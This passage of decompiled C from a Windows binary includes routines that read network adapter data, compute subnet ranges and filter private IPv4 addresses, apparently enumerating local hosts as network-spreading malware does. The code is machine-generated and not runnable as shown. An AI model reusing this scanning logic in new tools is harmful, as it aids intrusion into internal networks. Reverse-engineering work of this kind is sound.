  9018.                     *(int32_t *)(v25 - 16) = 0x408f3a;
  9019.                     function_409050((int32_t *)v23, v10, v24, a4);
  9020.                     v28 = g7;
  9021.                     v31 = *(int32_t *)(v28 + 8);
  9022.                     g1 = v31;
  9023.                     v26 = g8;
  9024.                     *(int32_t *)(v26 - 4) = v31;
  9025.                     *(int32_t *)(v26 - 8) = *(int32_t *)(v28 + 4);
  9026.                     *(int32_t *)(v26 - 12) = 0x408f49;
  9027.                     function_409040();
  9028.                     v27 = g8;
  9029.                     *(int32_t *)(v27 - 4) = *(int32_t *)(g7 + 4);
  9030.                     *(int32_t *)(v27 - 8) = 0x408f52;
  9031.                     function_4097fe((char *)v23);
  9032.                     v29 = g8;
  9033.                     v32 = *(int32_t *)(v29 + 32);
  9034.                     v30 = g7;
  9035.                     v33 = *(int32_t *)(v30 + 4);
  9036.                     *(int32_t *)(v30 + 12) = 4 * *(int32_t *)(v29 + 20) + v32;
  9037.                     if (v33 == 0) {
  9038.                         goto lab_0x408f6a;
  9039.                     }
  9040.                     goto lab_0x408f6e;
  9041.                 } else {
  9042.                     // 0x408f99
  9043.                     function_409050((int32_t *)v12, v12, (int32_t *)(v12 + 4), v3);
  9044.                     int32_t v40 = *(int32_t *)(g7 + 8); // 0x408fa6
  9045.                     function_409080((int32_t *)v40, 1 - (v40 - v13) / 4, &v7, v12);
  9046.                     int32_t v41 = *(int32_t *)(g7 + 8); // 0x408fc5
  9047.                     result2 = v41;
  9048.                     int32_t v42 = v13; // 0x408fc8
  9049.                     if (v42 != v41) {
  9050.                         *(int32_t *)v42 = v1;
  9051.                         int32_t v43 = v13 + 4; // 0x408fd2
  9052.                         while (v43 != result2) {
  9053.                             // 0x408fcc
  9054.                             *(int32_t *)v43 = v1;
  9055.                             v43 += 4;
  9056.                             // continue -> 0x408fcc
  9057.                         }
  9058.                         // 0x409019
  9059.                         // branch -> 0x409019
  9060.                     }
  9061.                     int32_t * v44 = (int32_t *)(g7 + 8); // 0x409019_0
  9062.                     *v44 = *v44 + 4;
  9063.                     // branch -> 0x40901d
  9064.                     goto lab_0x40901d;
  9065.                 }
  9066.             }
  9067.             // 0x40901d
  9068.             v9 = v6 + 1;
  9069.             v6 = v9;
  9070.             if (v9 > v5) {
  9071.                 // break -> 0x40902a
  9072.                 break;
  9073.             }
  9074.             net_long = v9;
  9075.             // continue -> 0x408e85
  9076.             continue;
  9077.         }
  9078.         // 0x40901d
  9079.         v9 = v6 + 1;
  9080.         v6 = v9;
  9081.         if (v9 > v5) {
  9082.             // break -> 0x40902a
  9083.             break;
  9084.         }
  9085.         net_long = v9;
  9086.         // continue -> 0x408e85
  9087.     }
  9088.     // 0x40902a
  9089.     g5 = v3;
  9090.     // branch -> 0x40902b
  9091.     // 0x40902b
  9092.     g7 = v2;
  9093.     g2 = v1;
  9094.     return result2;
  9095. }
  9096.  
  9097. // Address range: 0x409040 - 0x40904f
  9098. void function_409040(void) {
  9099.     // 0x409040
  9100.     return;
  9101. }
  9102.  
  9103. // Address range: 0x409050 - 0x40907f
  9104. int32_t function_409050(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4) {
  9105.     int32_t v1 = (int32_t)a1;
  9106.     int32_t result = (int32_t)a3;
  9107.     int32_t v2 = v1; // ecx
  9108.     int32_t v3 = result; // eax
  9109.     if (v1 == a2) {
  9110.         // 0x409077
  9111.         return result;
  9112.     }
  9113.     int32_t v4 = a2; // 0x40906f9
  9114.     // branch -> 0x409061
  9115.     int32_t result2; // 0x40906c
  9116.     while (true) {
  9117.         int32_t v5 = v4; // 0x40906f
  9118.         int32_t v6 = 0; // 0x40906c
  9119.         int32_t v7 = v1; // 0x409069
  9120.         if (result != 0) {
  9121.             // 0x409065
  9122.             *(int32_t *)result = *(int32_t *)v1;
  9123.             v5 = a2;
  9124.             v6 = v3;
  9125.             v7 = v2;
  9126.             // branch -> 0x409069
  9127.         }
  9128.         int32_t v8 = v7 + 4; // 0x409069
  9129.         v2 = v8;
  9130.         result2 = v6 + 4;
  9131.         v3 = result2;
  9132.         if (v8 == v5) {
  9133.             // break -> 0x409073
  9134.             break;
  9135.         }
  9136.         v4 = v5;
  9137.         v1 = v8;
  9138.         result = result2;
  9139.         // continue -> 0x409061
  9140.     }
  9141.     // 0x409073
  9142.     return result2;
  9143. }
  9144.  
  9145. // Address range: 0x409080 - 0x4090af
  9146. int32_t function_409080(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4) {
  9147.     // 0x409080
  9148.     if (a2 == 0) {
  9149.         // 0x4090a2
  9150.         return 0;
  9151.     }
  9152.     int32_t v1 = (int32_t)a1;
  9153.     // branch -> 0x409093
  9154.     int32_t result; // 0x40909b
  9155.     while (true) {
  9156.         int32_t v2 = 0; // 0x40909b
  9157.         if (v1 != 0) {
  9158.             // 0x409097
  9159.             *(int32_t *)v1 = *(int32_t *)(int32_t)a3;
  9160.             v2 = v1;
  9161.             // branch -> 0x40909b
  9162.         }
  9163.         // 0x40909b
  9164.         result = v2 + 4;
  9165.         int32_t v3 = a2 - 1; // 0x40909e
  9166.         if (v3 == 0) {
  9167.             // break -> 0x4090a1
  9168.             break;
  9169.         }
  9170.         a2 = v3;
  9171.         v1 = result;
  9172.         // continue -> 0x409093
  9173.     }
  9174.     // 0x4090a1
  9175.     // branch -> 0x4090a2
  9176.     // 0x4090a2
  9177.     return result;
  9178. }
  9179.  
  9180. // Address range: 0x4090b0 - 0x4090cf
  9181. int32_t function_4090b0(int32_t * a1, int32_t * a2) {
  9182.     // 0x4090b0
  9183.     if (a1 != NULL) {
  9184.         // 0x4090b8
  9185.         *a1 = *a2;
  9186.         // branch -> 0x4090c0
  9187.     }
  9188.     // 0x4090c0
  9189.     return (int32_t)a1;
  9190. }
  9191.  
  9192. // Address range: 0x4090d0 - 0x40910f
  9193. int32_t function_4090d0(int32_t host_long, int32_t host_long2, int32_t host_long3) {
  9194.     int32_t v1 = g5; // bp-8
  9195.     uint32_t v2 = htonl(host_long); // 0x4090d7
  9196.     int32_t v3;
  9197.     if (htonl(host_long2) > v2) {
  9198.         // 0x40910a
  9199.         g5 = v1;
  9200.         g7 = v3;
  9201.         return 0;
  9202.     }
  9203.     uint32_t v4 = htonl(host_long); // 0x4090ed
  9204.     if (v4 > htonl(host_long3)) {
  9205.         // 0x40910a
  9206.         g5 = v1;
  9207.         g7 = v3;
  9208.         return 0;
  9209.     }
  9210.     // 0x409102
  9211.     g5 = v1;
  9212.     g7 = v3;
  9213.     return 1;
  9214. }
  9215.  
  9216. // Address range: 0x409110 - 0x40915f
  9217. int32_t function_409110(int32_t host_long) {
  9218.     uint32_t v1 = htonl(host_long); // 0x409115
  9219.     if (v1 < 0xa000000) {
  9220.         // 0x40912e
  9221.         // branch -> 0x409142
  9222.         // 0x409142
  9223.         // branch -> 0x409156
  9224.         // 0x409156
  9225.         g1 = 0;
  9226.         return 0;
  9227.     }
  9228.     // 0x409121
  9229.     if (v1 <= 0xaffffff) {
  9230.         // 0x409128
  9231.         g1 = 1;
  9232.         return 1;
  9233.     }
  9234.     // 0x40912e
  9235.     if (v1 < 0xac100000) {
  9236.         // 0x409142
  9237.         // branch -> 0x409156
  9238.         // 0x409156
  9239.         g1 = 0;
  9240.         return 0;
  9241.     }
  9242.     // 0x409135
  9243.     if (v1 <= 0xac1fffff) {
  9244.         // 0x40913c
  9245.         g1 = 1;
  9246.         return 1;
  9247.     }
  9248.     // 0x409142
  9249.     if (v1 < 0xc0a80000 || v1 > 0xc0a8ffff) {
  9250.         // 0x409156
  9251.         g1 = 0;
  9252.         return 0;
  9253.     }
  9254.     // 0x409150
  9255.     g1 = 1;
  9256.     return 1;
  9257. }
  9258.  
  9259. // Address range: 0x409160 - 0x40946f
  9260. int32_t function_409160(char * cp, struct _IP_PER_ADAPTER_INFO_W2KSP1 * a2) {
  9261.     int32_t v1 = 0; // bp-20
  9262.     v1 = 0;
  9263.     if (GetAdaptersInfo(NULL, &v1) != 111) {
  9264.         // 0x4091ae
  9265.         return 0;
  9266.     }
  9267.     int32_t uBytes = v1; // 0x40917d
  9268.     if (uBytes == 0) {
  9269.         // 0x4091ae
  9270.         return 0;
  9271.     }
  9272.     char * memoryHandle = LocalAlloc(0, uBytes); // 0x409188
  9273.     g7 = (int32_t)memoryHandle;
  9274.     if (memoryHandle != NULL) {
  9275.         int32_t v2 = GetAdaptersInfo((struct _IP_ADAPTER_INFO *)memoryHandle, &v1); // 0x40919e
  9276.         g1 = v2;
  9277.         if (v2 != 0) {
  9278.             // 0x4091a7
  9279.             LocalFree((char *)g7);
  9280.             // branch -> 0x4091ae
  9281.             // 0x4091ae
  9282.             return 0;
  9283.         }
  9284.         int32_t v3 = g5;
  9285.         int32_t v4 = &v3; // 0x4091b7_0
  9286.         int32_t uBytes2 = (int32_t)a2;
  9287.         int32_t v5 = g7; // 0x4091be
  9288.         // branch -> 0x4091be
  9289.         while (true) {
  9290.             int32_t v6 = v5 + 428; // 0x4091be
  9291.             g5 = v6;
  9292.             int32_t v7; // 0x4093f5184
  9293.             int32_t v8; // 0x4093f5187
  9294.             int32_t v9; // 0x409441
  9295.             int32_t v10; // eax
  9296.             int32_t v11; // ecx
  9297.             int32_t v12;
  9298.             int32_t v13; // 0x4093c0
  9299.             int32_t v14; // 0x4093d2
  9300.             int32_t v15; // 0x4093e3
  9301.             int32_t v16; // 0x409410186
  9302.             int32_t v17; // 0x40941b
  9303.             int32_t v18; // 0x40941d
  9304.             int32_t v19; // 0x40941d89
  9305.             int32_t v20; // 0x409423
  9306.             int32_t v21; // 0x40942392
  9307.             int32_t v22; // 0x409434
  9308.             int32_t v23; // 0x40943a
  9309.             int32_t v24; // 0x40943f99
  9310.             int32_t v25; // 0x409444
  9311.             int32_t v26; // 0x40937b
  9312.             int32_t v27; // 0x4093c4
  9313.             int32_t v28; // 0x4093d2
  9314.             int32_t v29; // 0x40941b
  9315.             int32_t v30; // 0x40942d
  9316.             int32_t v31; // 0x4093b1
  9317.             int32_t v32; // 0x4093c9
  9318.             int32_t v33; // 0x4093e0
  9319.             int32_t v34; // 0x4093e9
  9320.             int32_t v35; // 0x40942a
  9321.             int32_t v36; // 0x409431
  9322.             int32_t v37; // 0x4093b1
  9323.             int32_t v38; // 0x4093c6
  9324.             int32_t v39; // 0x40938e
  9325.             int32_t v40; // 0x409391
  9326.             uint32_t v41; // 0x4093c6
  9327.             int32_t v42; // 0x4093e9
  9328.             int32_t v43; // 0x4093ec
  9329.             int32_t v44; // 0x409431
  9330.             if (v6 != 0) {
  9331.                 while (true) {
  9332.                     int32_t v45 = inet_addr((char *)(v6 + 4));
  9333.                     int32_t v46 = inet_addr((char *)(g5 + 20)); // 0x4091e7
  9334.                     g1 = v46;
  9335.                     int32_t v47 = v45; // 0x4091ec
  9336.                     int32_t v48 = v4; // 0x409371
  9337.                     if (v47 != -1) {
  9338.                         // 0x4091f9
  9339.                         if (v47 != 0) {
  9340.                             // 0x409201
  9341.                             if (v46 != -1) {
  9342.                                 // 0x40920a
  9343.                                 if (v46 != 0) {
  9344.                                     int32_t v49 = v47 | -1 - v46; // 0x409216
  9345.                                     int32_t v50 = v47 & v46; // 0x409218
  9346.                                     g3 = v50;
  9347.                                     g2 = v49;
  9348.                                     function_408e50((int32_t)cp, v50, v49, v3);
  9349.                                     g4 = uBytes2;
  9350.                                     function_409470((int32_t *)*(int32_t *)(uBytes2 + 8), 1, &v45, v3);
  9351.                                     int32_t v51 = g7; // 0x40923f
  9352.                                     int32_t v52 = v51 + 468; // 0x40923f
  9353.                                     g5 = v52;
  9354.                                     int32_t v53 = g8; // 0x4092bd
  9355.                                     int32_t v54; // esi
  9356.                                     if (v52 != 0) {
  9357.                                         int32_t v55 = g8; // 0x40925d
  9358.                                         int32_t v56; // 0x40929d
  9359.                                         while (true) {
  9360.                                             int32_t * v57 = (int32_t *)(v55 - 4); // 0x40924c_0
  9361.                                             *v57 = v52 + 4;
  9362.                                             int32_t * v58 = (int32_t *)(v55 - 8); // 0x40924d_1
  9363.                                             *v58 = 0x409252;
  9364.                                             int32_t v59 = inet_addr(cp); // 0x40924d
  9365.                                             v54 = v59;
  9366.                                             v56 = v55;
  9367.                                             if (v59 != -1) {
  9368.                                                 // 0x409259
  9369.                                                 if (v59 != 0) {
  9370.                                                     // 0x40925d
  9371.                                                     *v57 = g2;
  9372.                                                     *v58 = g3;
  9373.                                                     *(int32_t *)(v55 - 12) = v54;
  9374.                                                     *(int32_t *)(v55 - 16) = 0x409265;
  9375.                                                     if (function_4090d0((int32_t)cp, uBytes2, 0) == 0) {
  9376.                                                         int32_t * v60 = (int32_t *)(g8 + 8); // 0x40926c_0
  9377.                                                         *v60 = g7;
  9378.                                                         int32_t * v61 = (int32_t *)(g8 + 4); // 0x40926d_1
  9379.                                                         *v61 = 0x409272;
  9380.                                                         *v60 = htonl((int32_t)cp) | 255;
  9381.                                                         *v61 = 0x40927a;
  9382.                                                         *v60 = ntohl((int32_t)cp);
  9383.                                                         *v61 = g7;
  9384.                                                         int32_t * v62 = (int32_t *)g8; // 0x40927c_1
  9385.                                                         *v62 = (int32_t)&g17;
  9386.                                                         *v61 = htonl((int32_t)cp) & -256;
  9387.                                                         *v62 = 0x409289;
  9388.                                                         *v61 = ntohl((int32_t)cp);
  9389.                                                         *v62 = *(int32_t *)(g8 + 52);
  9390.                                                         *(int32_t *)(g8 - 4) = 0x409294;
  9391.                                                         function_408e50((int32_t)cp, uBytes2, 0, 0);
  9392.                                                         v56 = g8 + 12;
  9393.                                                         // branch -> 0x409297
  9394.                                                     } else {
  9395.                                                         v56 = g8 + 12;
  9396.                                                     }
  9397.                                                 } else {
  9398.                                                     v56 = v55;
  9399.                                                 }
  9400.                                             }
  9401.                                             int32_t v63 = *(int32_t *)g5; // 0x409297
  9402.                                             g5 = v63;
  9403.                                             if (v63 == 0) {
  9404.                                                 // break -> 0x40929d
  9405.                                                 break;
  9406.                                             }
  9407.                                             v55 = v56;
  9408.                                             v52 = v63;
  9409.                                             // continue -> 0x409249
  9410.                                         }
  9411.                                         int32_t v64 = *(int32_t *)(v56 + 20); // 0x40929d
  9412.                                         g7 = v64;
  9413.                                         v53 = v56;
  9414.                                         v51 = v64;
  9415.                                         // branch -> 0x4092a1
  9416.                                     }
  9417.                                     int32_t v65 = v53 + 16; // 0x4092a7
  9418.                                     int32_t * v66 = (int32_t *)(v53 - 4); // 0x4092ab_0
  9419.                                     *v66 = v65;
  9420.                                     int32_t * v67 = (int32_t *)(v53 - 8); // 0x4092ac_0
  9421.                                     *v67 = 0;
  9422.                                     int32_t * v68 = (int32_t *)(v53 - 12); // 0x4092ae_0
  9423.                                     *v68 = *(int32_t *)(v51 + 412);
  9424.                                     *(int32_t *)(v53 - 16) = 0x4092b4;
  9425.                                     int32_t v69 = GetPerAdapterInfo((int32_t)cp, a2, NULL); // 0x4092af
  9426.                                     g1 = v69;
  9427.                                     int32_t v70 = v53; // 0x409369
  9428.                                     if (v69 == 111) {
  9429.                                         // 0x4092bd
  9430.                                         *v66 = *(int32_t *)v65;
  9431.                                         *v67 = 0;
  9432.                                         *v68 = (int32_t)&g18;
  9433.                                         char * memoryHandle2 = LocalAlloc((int32_t)cp, uBytes2); // 0x4092c4
  9434.                                         int32_t v71 = (int32_t)memoryHandle2; // 0x4092c4_7
  9435.                                         v54 = v71;
  9436.                                         *(int32_t *)(v53 + 32) = v71;
  9437.                                         int32_t v72 = g8; // 0x40935e
  9438.                                         if (memoryHandle2 != NULL) {
  9439.                                             // 0x4092d8
  9440.                                             *(int32_t *)(g8 - 4) = g8 + 16;
  9441.                                             *(int32_t *)(g8 - 8) = v54;
  9442.                                             *(int32_t *)(g8 - 12) = *(int32_t *)(*(int32_t *)(g8 + 20) + 412);
  9443.                                             *(int32_t *)(g8 - 16) = 0x4092ee;
  9444.                                             if (GetPerAdapterInfo((int32_t)cp, a2, NULL) != 0) {
  9445.                                                 int32_t v73 = v54 + 12; // 0x4092f2
  9446.                                                 g5 = v73;
  9447.                                                 if (v73 != 0) {
  9448.                                                     int32_t v74 = g8; // 0x40930d
  9449.                                                     int32_t v75; // 0x40935a
  9450.                                                     while (true) {
  9451.                                                         int32_t * v76 = (int32_t *)(v74 - 4); // 0x4092fc_0
  9452.                                                         *v76 = v73 + 4;
  9453.                                                         int32_t * v77 = (int32_t *)(v74 - 8); // 0x4092fd_1
  9454.                                                         *v77 = 0x409302;
  9455.                                                         int32_t v78 = inet_addr(cp); // 0x4092fd
  9456.                                                         v54 = v78;
  9457.                                                         v75 = v74;
  9458.                                                         if (v78 != -1) {
  9459.                                                             // 0x409309
  9460.                                                             if (v78 != 0) {
  9461.                                                                 // 0x40930d
  9462.                                                                 *v76 = v78;
  9463.                                                                 *v77 = 0x409313;
  9464.                                                                 if (function_409110((int32_t)cp) != 0) {
  9465.                                                                     // 0x40931a
  9466.                                                                     *(int32_t *)g8 = g2;
  9467.                                                                     *(int32_t *)(g8 - 4) = g3;
  9468.                                                                     *(int32_t *)(g8 - 8) = v54;
  9469.                                                                     *(int32_t *)(g8 - 12) = 0x409322;
  9470.                                                                     if (function_4090d0((int32_t)cp, uBytes2, 0) == 0) {
  9471.                                                                         int32_t * v79 = (int32_t *)(g8 + 8); // 0x409329_0
  9472.                                                                         *v79 = g7;
  9473.                                                                         int32_t * v80 = (int32_t *)(g8 + 4); // 0x40932a_1
  9474.                                                                         *v80 = 0x40932f;
  9475.                                                                         *v79 = htonl((int32_t)cp) | 255;
  9476.                                                                         *v80 = 0x409337;
  9477.                                                                         *v79 = ntohl((int32_t)cp);
  9478.                                                                         *v80 = g7;
  9479.                                                                         int32_t * v81 = (int32_t *)g8; // 0x409339_1
  9480.                                                                         *v81 = (int32_t)&g19;
  9481.                                                                         *v80 = htonl((int32_t)cp) & -256;
  9482.                                                                         *v81 = 0x409346;
  9483.                                                                         *v80 = ntohl((int32_t)cp);
  9484.                                                                         *v81 = *(int32_t *)(g8 + 52);
  9485.                                                                         *(int32_t *)(g8 - 4) = 0x409351;
  9486.                                                                         function_408e50((int32_t)cp, uBytes2, 0, 0);
  9487.                                                                         v75 = g8 + 12;
  9488.                                                                         // branch -> 0x409354
  9489.                                                                     } else {
  9490.                                                                         v75 = g8 + 12;
  9491.                                                                     }
  9492.                                                                 } else {
  9493.                                                                     v75 = g8 + 4;
  9494.                                                                 }
  9495.                                                             } else {
  9496.                                                                 v75 = v74;
  9497.                                                             }
  9498.                                                         }
  9499.                                                         int32_t v82 = *(int32_t *)g5; // 0x409354
  9500.                                                         g5 = v82;
  9501.                                                         if (v82 == 0) {
  9502.                                                             // break -> 0x40935a
  9503.                                                             break;
  9504.                                                         }
  9505.                                                         v74 = v75;
  9506.                                                         v73 = v82;
  9507.                                                         // continue -> 0x4092f9
  9508.                                                     }
  9509.                                                     // 0x40935a
  9510.                                                     v54 = *(int32_t *)(v75 + 32);
  9511.                                                     v72 = v75;
  9512.                                                     // branch -> 0x40935e
  9513.                                                 } else {
  9514.                                                     v72 = g8;
  9515.                                                 }
  9516.                                             } else {
  9517.                                                 v72 = g8;
  9518.                                             }
  9519.                                         }
  9520.                                         // 0x40935e
  9521.                                         *(int32_t *)(v72 - 4) = v54;
  9522.                                         *(int32_t *)(v72 - 8) = (int32_t)&g20;
  9523.                                         g1 = (int32_t)LocalFree(cp);
  9524.                                         g7 = *(int32_t *)(v72 + 20);
  9525.                                         v70 = v72;
  9526.                                         // branch -> 0x409369
  9527.                                     }
  9528.                                     // 0x409369
  9529.                                     g5 = *(int32_t *)(v70 + 24);
  9530.                                     v48 = v70;
  9531.                                     // branch -> 0x40936d
  9532.                                 } else {
  9533.                                     v48 = v4;
  9534.                                 }
  9535.                             } else {
  9536.                                 v48 = v4;
  9537.                             }
  9538.                         } else {
  9539.                             v48 = v4;
  9540.                         }
  9541.                     }
  9542.                     int32_t v83 = *(int32_t *)g5; // 0x40936d
  9543.                     *(int32_t *)(v48 + 24) = v83;
  9544.                     if (v83 == 0) {
  9545.                         // 0x40937b
  9546.                         v5 = g7;
  9547.                         // branch -> 0x40937b
  9548.                         // 0x40937b
  9549.                         v26 = *(int32_t *)v5;
  9550.                         g7 = v26;
  9551.                         if (v26 != 0) {
  9552.                           lab_0x4091ba:
  9553.                             // 0x4091ba
  9554.                             g7 = v26;
  9555.                             // branch -> 0x4091be
  9556.                             break;
  9557.                         }
  9558.                         // 0x409389
  9559.                         v12 = (int32_t)cp;
  9560.                         g2 = v12;
  9561.                         v39 = *(int32_t *)(v12 + 8);
  9562.                         v40 = *(int32_t *)(v12 + 4);
  9563.                         g5 = v40;
  9564.                         if ((v39 - v40 & -4) > 64) {
  9565.                             // 0x4093ac
  9566.                             g1 = function_409680((int32_t *)v40, v39, 0, v3);
  9567.                             v31 = g5;
  9568.                             v37 = v31 + 64;
  9569.                             g7 = v37;
  9570.                             function_409750((int32_t *)v31, v37, 0);
  9571.                             v13 = g7;
  9572.                             if (v13 != g3) {
  9573.                                 v32 = v13;
  9574.                                 while (true) {
  9575.                                     // 0x4093c4
  9576.                                     v27 = *(int32_t *)v32;
  9577.                                     v38 = v32 - 4;
  9578.                                     v41 = *(int32_t *)v38;
  9579.                                     v10 = v38;
  9580.                                     v15 = v32;
  9581.                                     v33 = v32;
  9582.                                     if (v27 < v41) {
  9583.                                         v28 = v41;
  9584.                                         v14 = v32;
  9585.                                       lab_0x4093d2:;
  9586.                                         int32_t v84; // 0x4093dc
  9587.                                         int32_t v85; // 0x4093d4
  9588.                                         while (true) {
  9589.                                             // 0x4093d2
  9590.                                             *(int32_t *)v14 = v28;
  9591.                                             v85 = v10;
  9592.                                             int32_t v86 = v85 - 4; // 0x4093d4
  9593.                                             uint32_t v87 = *(int32_t *)v86; // 0x4093d4
  9594.                                             v10 = v86;
  9595.                                             v84 = v27;
  9596.                                             if (v84 >= v87) {
  9597.                                                 // break -> 0x4093e0
  9598.                                                 break;
  9599.                                             }
  9600.                                             v28 = v87;
  9601.                                             v14 = v85;
  9602.                                             // continue -> 0x4093d2
  9603.                                         }
  9604.                                         // 0x4093e0
  9605.                                         v27 = v84;
  9606.                                         v15 = v85;
  9607.                                         v33 = g7;
  9608.                                         // branch -> 0x4093e0
  9609.                                     }
  9610.                                   lab_0x4093e0:
  9611.                                     // 0x4093e0
  9612.                                     g7 = v33 + 4;
  9613.                                     *(int32_t *)v15 = v27;
  9614.                                     int32_t v88 = g7; // 0x4093e5
  9615.                                     if (v88 == g3) {
  9616.                                         // break -> 0x4093e9
  9617.                                         break;
  9618.                                     }
  9619.                                     v32 = v88;
  9620.                                     // continue -> 0x4093c4
  9621.                                 }
  9622.                                 // 0x4093e9
  9623.                                 // branch -> 0x4093e9
  9624.                             }
  9625.                         } else {
  9626.                             // 0x4093a2
  9627.                             function_409750((int32_t *)v40, v39, 0);
  9628.                             // branch -> 0x4093e9
  9629.                         }
  9630.                         // 0x4093e9
  9631.                         v34 = g2;
  9632.                         v42 = *(int32_t *)(v34 + 8);
  9633.                         v43 = *(int32_t *)(v34 + 4);
  9634.                         v11 = v43;
  9635.                         if (v43 == v42) {
  9636.                             // 0x409408
  9637.                             v24 = v42;
  9638.                             v22 = v42;
  9639.                             v36 = v34;
  9640.                             // branch -> 0x409431
  9641.                             // 0x409431
  9642.                             v44 = *(int32_t *)(v36 + 8);
  9643.                             if (v22 == v44) {
  9644.                                 // 0x409448
  9645.                                 *(int32_t *)(v36 + 8) = v24;
  9646.                                 LocalFree(NULL);
  9647.                                 return 1;
  9648.                             }
  9649.                             v23 = v22;
  9650.                             *(int32_t *)v24 = *(int32_t *)v23;
  9651.                             v9 = v42 + 4;
  9652.                             v25 = v23 + 4;
  9653.                             while (v25 != v44) {
  9654.                                 // 0x40943a
  9655.                                 v23 = v25;
  9656.                                 *(int32_t *)v9 = *(int32_t *)v23;
  9657.                                 v9 += 4;
  9658.                                 v25 = v23 + 4;
  9659.                                 // continue -> 0x40943a
  9660.                             }
  9661.                             // 0x409448
  9662.                             // branch -> 0x409448
  9663.                             // 0x409448
  9664.                             *(int32_t *)(g2 + 8) = v9;
  9665.                             LocalFree(NULL);
  9666.                             return 1;
  9667.                         }
  9668.                         // 0x4093f5
  9669.                         v7 = v43 + 4;
  9670.                         if (v7 == v42) {
  9671.                             // 0x409408
  9672.                             // branch -> 0x409408
  9673.                             // 0x409408
  9674.                             v11 = v42;
  9675.                             v24 = v42;
  9676.                             v22 = v42;
  9677.                             v36 = v34;
  9678.                             // branch -> 0x409431
  9679.                         } else {
  9680.                             v16 = v43;
  9681.                             v8 = v7;
  9682.                             while (true) {
  9683.                                 // 0x4093fc
  9684.                                 if (*(int32_t *)v16 == *(int32_t *)v8) {
  9685.                                     // 0x40940c
  9686.                                     if (v16 != v42) {
  9687.                                         // 0x40941b
  9688.                                         v11 = v8;
  9689.                                         v10 = v8;
  9690.                                         int32_t v89 = v42; // 0x40942d94
  9691.                                         v17 = v8;
  9692.                                         v20 = v8;
  9693.                                         v18 = v16;
  9694.                                         // branch -> 0x40941b
  9695.                                         while (true) {
  9696.                                             // 0x40941b
  9697.                                             v29 = *(int32_t *)v17;
  9698.                                             v30 = v89;
  9699.                                             v19 = v18;
  9700.                                             v35 = v17;
  9701.                                             v21 = v20;
  9702.                                             if (*(int32_t *)v18 != v29) {
  9703.                                               lab_0x409423:
  9704.                                                 // 0x409423
  9705.                                                 *(int32_t *)v20 = v29;
  9706.                                                 int32_t v90 = v10; // 0x409425
  9707.                                                 int32_t v91 = v11 + 4; // 0x409427
  9708.                                                 v11 = v91;
  9709.                                                 v30 = v42;
  9710.                                                 v19 = v90;
  9711.                                                 v35 = v90;
  9712.                                                 v21 = v91;
  9713.                                                 // branch -> 0x40942a
  9714.                                             }
  9715.                                           lab_0x40942a:;
  9716.                                             int32_t v92 = v35 + 4; // 0x40942a
  9717.                                             v10 = v92;
  9718.                                             if (v92 == v30) {
  9719.                                                 // break -> 0x409431
  9720.                                                 break;
  9721.                                             }
  9722.                                             v89 = v30;
  9723.                                             v17 = v92;
  9724.                                             v20 = v21;
  9725.                                             v18 = v19;
  9726.                                             // continue -> 0x40941b
  9727.                                         }
  9728.                                         // 0x409431
  9729.                                         v24 = v21;
  9730.                                         v22 = v30;
  9731.                                         v36 = g2;
  9732.                                         // branch -> 0x409431
  9733.                                     } else {
  9734.                                         v24 = v42;
  9735.                                         v22 = v42;
  9736.                                         v36 = v34;
  9737.                                     }
  9738.                                 } else {
  9739.                                   lab_0x409404:
  9740.                                     // 0x409404
  9741.                                     v11 = v8;
  9742.                                     int32_t v93 = v8 + 4; // 0x4093f5
  9743.                                     if (v93 == v42) {
  9744.                                         // break -> 0x409408
  9745.                                         break;
  9746.                                     }
  9747.                                     v16 = v8;
  9748.                                     v8 = v93;
  9749.                                     // continue -> 0x4093fc
  9750.                                     continue;
  9751.                                 }
  9752.                                 // 0x409431
  9753.                                 v44 = *(int32_t *)(v36 + 8);
  9754.                                 if (v22 == v44) {
  9755.                                     // 0x409448
  9756.                                     *(int32_t *)(v36 + 8) = v24;
  9757.                                     LocalFree(NULL);
  9758.                                     return 1;
  9759.                                 }
  9760.                                 v23 = v22;
  9761.                                 *(int32_t *)v24 = *(int32_t *)v23;
  9762.                                 v9 = v11 + 4;
  9763.                                 v25 = v23 + 4;
  9764.                                 while (v25 != v44) {
  9765.                                     // 0x40943a
  9766.                                     v23 = v25;
  9767.                                     *(int32_t *)v9 = *(int32_t *)v23;
  9768.                                     v9 += 4;
  9769.                                     v25 = v23 + 4;
  9770.                                     // continue -> 0x40943a
  9771.                                 }
  9772.                                 // 0x409448
  9773.                                 // branch -> 0x409448
  9774.                                 // 0x409448
  9775.                                 *(int32_t *)(g2 + 8) = v9;
  9776.                                 LocalFree(NULL);
  9777.                                 return 1;
  9778.                             }
  9779.                         }
  9780.                         // 0x409431
  9781.                         v44 = *(int32_t *)(v36 + 8);
  9782.                         if (v22 == v44) {
  9783.                             // 0x409448
  9784.                             *(int32_t *)(v36 + 8) = v24;
  9785.                             LocalFree(NULL);
  9786.                             return 1;
  9787.                         }
  9788.                         v23 = v22;
  9789.                         *(int32_t *)v24 = *(int32_t *)v23;
  9790.                         v9 = v11 + 4;
  9791.                         v25 = v23 + 4;
  9792.                         while (v25 != v44) {
  9793.                             // 0x40943a
  9794.                             v23 = v25;
  9795.                             *(int32_t *)v9 = *(int32_t *)v23;
  9796.                             v9 += 4;
  9797.                             v25 = v23 + 4;
  9798.                             // continue -> 0x40943a
  9799.                         }
  9800.                         // 0x409448
  9801.                         // branch -> 0x409448
  9802.                         // 0x409448
  9803.                         *(int32_t *)(g2 + 8) = v9;
  9804.                         LocalFree(NULL);
  9805.                         return 1;
  9806.                     }
  9807.                     int32_t v94 = *(int32_t *)(g8 + 24); // 0x4091d2
  9808.                     g5 = v94;
  9809.                     v6 = v94;
  9810.                     // branch -> 0x4091d6
  9811.                 }
  9812.             }
  9813.             // 0x40937b
  9814.             v26 = *(int32_t *)v5;
  9815.             g7 = v26;
  9816.             if (v26 != 0) {
  9817.                 goto lab_0x4091ba;
  9818.             }
  9819.             // 0x409389
  9820.             v12 = (int32_t)cp;
  9821.             g2 = v12;
  9822.             v39 = *(int32_t *)(v12 + 8);
  9823.             v40 = *(int32_t *)(v12 + 4);
  9824.             g5 = v40;
  9825.             if ((v39 - v40 & -4) > 64) {
  9826.                 // 0x4093ac
  9827.                 g1 = function_409680((int32_t *)v40, v39, 0, v3);
  9828.                 v31 = g5;
  9829.                 v37 = v31 + 64;
  9830.                 g7 = v37;
  9831.                 function_409750((int32_t *)v31, v37, 0);
  9832.                 v13 = g7;
  9833.                 if (v13 != g3) {
  9834.                     v32 = v13;
  9835.                     while (true) {
  9836.                         // 0x4093c4
